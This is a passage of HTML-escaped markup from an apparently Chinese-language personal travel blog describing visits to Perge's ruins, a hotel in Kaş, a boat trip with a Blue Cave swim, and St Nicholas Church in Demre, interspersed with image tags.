	alt=&quot;Basilica&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Hadrianus’_Arch&quot;&gt;Hadrianus’ Arch&lt;&#x2F;h3&gt;
&lt;p&gt;在哈德良在位时期由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Plancia
Magna&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;建立。原本有罗马诸神和元首的雕像，但现在只剩几个基座了。基座上写着拉丁文和希腊文。因为施工没法凑近看。&lt;&#x2F;p&gt;
&lt;p&gt;能看清铭文的只有右图：奥古斯都。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_125738.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125738.45f4c41e40e4766c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125738.e65c2bf74e4a392b.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125738.ae82ac46b93c1d31.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_125738.e65c2bf74e4a392b.webp&quot;
	alt=&quot;Hadrianus’ Arch&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_131747.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131747.ab17f60dc8e4703f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131747.acc436c9dc597ee6.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131747.7666f2ad204e9ab5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131747.acc436c9dc597ee6.webp&quot;
	alt=&quot;AVGVSTO的底座&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h3 id=&quot;一些杂图&quot;&gt;一些杂图&lt;&#x2F;h3&gt;
&lt;p&gt;我很喜欢杂色大理石柱的花纹，白色的色块就像火腿里的脂肪一样：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_115043.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115043.cc48748cca91b734.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115043.2bc4a6996310a315.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115043.0c6e44b7dd01b2b0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_115043.2bc4a6996310a315.webp&quot;
	alt=&quot;火腿大理石柱&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;用于玩“Ludus Duodecim
Scriptorum”的棋盘。网上有这款游戏的&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.getty.edu&#x2F;education&#x2F;college&#x2F;ancient_rome_at_home&#x2F;pdf&#x2F;ludus_duodecim_scriptorum_game.pdf&quot;&gt;规则书&lt;&#x2F;a&gt;，哪天找个朋友体验下罗马桌游。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_130841.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_130841.f4486cdd7bc5f010.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_130841.0c27bfc392e9c462.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_130841.3a4eb6b204dd2a81.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_130841.0c27bfc392e9c462.webp&quot;
	alt=&quot;Duodecim scipta&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;画有奇怪图案的碑，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;collections.st-andrews.ac.uk&#x2F;item&#x2F;shop-sign-butcher-perge-turkey&#x2F;746861&quot;&gt;可能是肉店的标识&lt;&#x2F;a&gt;。这里的名称是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Macellum，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.merriam-webster.com&#x2F;dictionary&#x2F;macellum&quot;&gt;意为罗马市场，并且特指卖肉的&lt;&#x2F;a&gt;。不知道当时的肉和现在的肉哪个好吃。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_131104.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131104.6ab060ccad0552cf.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131104.697eaa08b13b083a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131104.f019d62c1d34f434.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131104.697eaa08b13b083a.webp&quot;
	alt=&quot;刻有刀与钩子的碑&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_131117.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131117.9b61d811990f8ad4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131117.013b7784cc28bbc8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131117.5b73b97756b2b8b9.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_131117.013b7784cc28bbc8.webp&quot;
	alt=&quot;刻有禽类的碑&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;用于考古挖掘的吊车，我还以为这个遗迹挖出了罗马变形金刚呢。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_114305.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_114305.4b8a39927c3b3088.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_114305.e5491e2e42273eb2.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_114305.6e580f3fa34e8e8e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_114305.e5491e2e42273eb2.webp&quot;
	alt=&quot;The cranes&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h2 id=&quot;Kaş&quot;&gt;&lt;span lang=&quot;tr&quot;&gt;Kaş&lt;&#x2F;span&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;Sunset_Villa_Hotel&quot;&gt;Sunset Villa Hotel&lt;&#x2F;h3&gt;
&lt;p&gt;参观完&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后我们乘车绕了几个小时山路来到了位于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;tr&quot;&gt;Kaş&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sunset
Villa Hotel，我这次土耳其行最喜欢的旅馆。&lt;&#x2F;p&gt;
&lt;p&gt;风景不必多说，每间房都有阳台，可以观赏地中海以及不远的希腊岛屿（&lt;span lang=&quot;el&quot;&gt;Καστελλόριζο&lt;&#x2F;span&gt;，在这个酒店我的电信运营商以为我在希腊&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。向海边走可以看到酒店修的凉棚。我在这里第一次下海游泳。虽说出发时信心满满，但真坐在海岸边，海水涌到自己胸口时还是怕了。游了没几分钟，因为嘴里实在咸得难受回酒店了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220614_184004.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_184004.e5f8da6c194a2ad5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_184004.4e9db47508ee30dd.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_184004.deb6e249b6737977.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220614_184004.4e9db47508ee30dd.webp&quot;
	alt=&quot;观海凉棚&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_082323.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_082323.87bef3ed4fb4c9c5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_082323.3ea8cd5299678a23.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_082323.7fb44c43892d4128.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_082323.3ea8cd5299678a23.webp&quot;
	alt=&quot;下海的梯子&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Sunset Villa
Hotel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;主要由两个人管理，我不知道他们是不是老板，但我在这里把他们称为大老板和二老板。&lt;&#x2F;p&gt;
&lt;p&gt;大老板是土耳其人，有澳大利亚国籍。他现在仍然时不时看澳大利亚新闻，看完后就开始担心武统，还问我们会不会发生战争。他对中国很有感情，因为从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;99&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年开始他就隔几个月去一趟广州做生意。每次去中国都惊讶于变化之大（然而当地工厂主感受不到，因为他们一直生活在那里&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，认为中国只有共产党才能领导。他还告诉我们土耳其语的同志是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;span lang=&quot;tr&quot;&gt;yoldaş&lt;&#x2F;span&gt;，意为一起走路的人。土耳其大部分人信伊斯兰教，但是大老板没有宗教信仰，我想这也是他喜欢共产党的原因之一吧。当然，他不喜欢埃尔多安的政府——不过主要是因为经济问题。&lt;&#x2F;p&gt;
&lt;p&gt;二老板抱怨了土耳其右翼势力的壮大：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;学校里的老师是他们，学生是他们，毕业后进入政府的还是他们&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。二老板没聊自己的学习经历，但根据聊天推断，他学的也是计算机相关专业。我们聊到疫情时，二老板说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BioNTech&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是德国公司，但是研究出疫苗的是土耳其科学家——我表示你们应该为此自豪——他说不，如果那位科学家在土耳其发展，就只会是个普通医生。他这么一说给我整得挺伤感。&lt;&#x2F;p&gt;
&lt;p&gt;酒店包早餐，而且十分丰盛。还会给我们煮面、炒西红柿鸡蛋。当然，也会给我们备筷子——我很喜欢这一点。另外酒店有四根旗杆，最高的挂土耳其国旗，另外三根同样高，似乎是挂客人的国旗。我们住的那两天分别是中国、乌克兰和俄罗斯国旗，不知道的还以为中方在这家旅馆调停战争呢。&lt;&#x2F;p&gt;
&lt;p&gt;离开酒店时大老板送了我们印有酒店名称的大玻璃杯，有朋友用它泡方便面，给我惊到了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;畅游“我们的海”&quot;&gt;畅游“我们的海”&lt;&#x2F;h3&gt;
&lt;p&gt;15&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号出海是这次旅行的重头戏，也是我最喜欢的部分。不过由于我大部分时间在看海、游泳、划船，所以没有留下多少照片。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220615_104454.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_104454.c010de6cb78dc350.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_104454.2facb77d234e5648.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_104454.96508d8977338da4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_104454.2facb77d234e5648.webp&quot;
	alt=&quot;启航&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1655319738280.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319738280.e239b35654775ee0.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319738280.6b535e29c3c9f7f9.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319738280.a397102cfc964efd.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319738280.6b535e29c3c9f7f9.webp&quot;
	alt=&quot;终结者2，但是在海里&quot;
	
	
	height=&quot;3648&quot;
	width=&quot;2736&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我们一共停了四个点，遗憾的是我一个地名也没记住。其中第二个点的海水确实清澈见底——出发前看到宣传图我还以为是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;P&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的。除了第三个停泊点，都能看到不认识的鱼和刺猬一样的海胆——好馋，我好久没吃海胆了。&lt;&#x2F;p&gt;
&lt;p&gt;在我手指的方向有一个竖直向下的洞窟，叫做“Blue
Cave&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。当我向下看时理智告诉我不要下去，但是理智没有战胜想冒险的心。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220615_140428.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_140428.1796c6a2bf7b7a53.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_140428.9215361c5b282aa4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_140428.7f2b64f95d972d28.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_140428.9215361c5b282aa4.webp&quot;
	alt=&quot;Blue Cave的大概位置&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;洞穴里的水蓝湛湛的，但手机拍出来却是黑乎乎的。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1655319724799.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319724799.e214129e8bc899a4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319724799.b867e61f24e493c0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319724799.6fe92cd36f71ab43.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655319724799.b867e61f24e493c0.webp&quot;
	alt=&quot;Blue Cave的样子&quot;
	
	
	height=&quot;2592&quot;
	width=&quot;5616&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;我进入后发现洞穴的后半部分没有落脚点，只能用整个身体撑在岩壁上才能保证不摔下去。结果背上划出了很长的伤痕。不过还好不疼，也没有感染。&lt;&#x2F;p&gt;
&lt;p&gt;最底部是一个幽闭的小空间，水下有一处狭窄的裂痕通向外界。潜泳可以出去，但是我距离估算失误了（也可能是时间估算失误了，因为水位在涨落&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：抬头换气时发现观察时还有空气的空间已经被水填满，导致气没换成，喝了水，头还磕了石头。所幸肺里还有空气，立刻加速游出去了。事后得知穿过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Blue
Cave&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以实现愿望。也许换气失败时不想死的愿望就是这么实现的。&lt;&#x2F;p&gt;
&lt;p&gt;划几分钟船可以到两座山夹着的隐蔽白沙滩。可惜没有带手机，否则又是一张绝世美图。&lt;&#x2F;p&gt;
&lt;p&gt;午饭在船上吃的，主菜是在船尾现烤的鸡肉，美滋滋。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220615_132621.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_132621.8ae5958a72af5fb4.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_132621.318da3002e325b1d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_132621.d7fc778f6d67bb64.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220615_132621.318da3002e325b1d.webp&quot;
	alt=&quot;烤肉&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1655320834219.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655320834219.639ca85c00540537.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655320834219.b26379907eafdec7.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655320834219.b95c38a3240bd5f6.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;mmexport1655320834219.b26379907eafdec7.webp&quot;
	alt=&quot;饭&quot;
	
	
	height=&quot;4096&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;下午继续疯狂游泳，并且解锁了桨板技能，很开心。不过第二天背上皮肤变硬了，再过几天发现掉皮了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Demre&quot;&gt;Demre&lt;&#x2F;h2&gt;
&lt;p&gt;游完泳第二天，我们准备回安塔利亚市坐飞机去伊斯坦布尔。临行前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sunset
Villa
Hotel&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的大老板告诉我这附近的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Demre&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有圣诞老人圣尼古拉的教堂。虽然说世界各地都有以他名字命名的教堂，但这座不一般：圣尼古拉本人曾在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Demre&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;担任主教。所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Demre&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的圣尼古拉教堂是“真的&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;——那我们肯定要去看啊。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;St_Nicholas_Church&quot;&gt;St Nicholas Church&lt;&#x2F;h3&gt;
&lt;p&gt;圣尼古拉是俄罗斯的主保圣人，教堂门口放置着俄罗斯在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年赠送的铜像。周边也有很多俄语广告。&lt;&#x2F;p&gt;
&lt;p&gt;教堂正在施工。2017&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年土耳其考古学家在教堂下发现了一座墓穴，认为其中埋藏着圣尼古拉真正的遗体。在此之前大家都认为意大利人已经偷走了圣尼古拉的遗体。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_122536.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_122536.7365e36ff77f1c9b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_122536.143180947ea85131.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_122536.8566227cdd33b9b3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_122536.143180947ea85131.webp&quot;
	alt=&quot;圣尼古拉铜像&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_123940.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123940.35765e4f4f880f62.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123940.542c849bcbb26349.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123940.6bc03d2b76db096d.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220616_123940.542c849bcbb26349.webp&quot;
	alt=&quot;教堂外的脚手架&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;教堂的中殿。祭坛后面的半圆形阶梯和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;turkey-2022-antalya&#x2F;#basilica&quot;&gt;Perge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的废墟&lt;&#x2F;a&gt;很相似，它叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Synthronon。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220616_123355.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
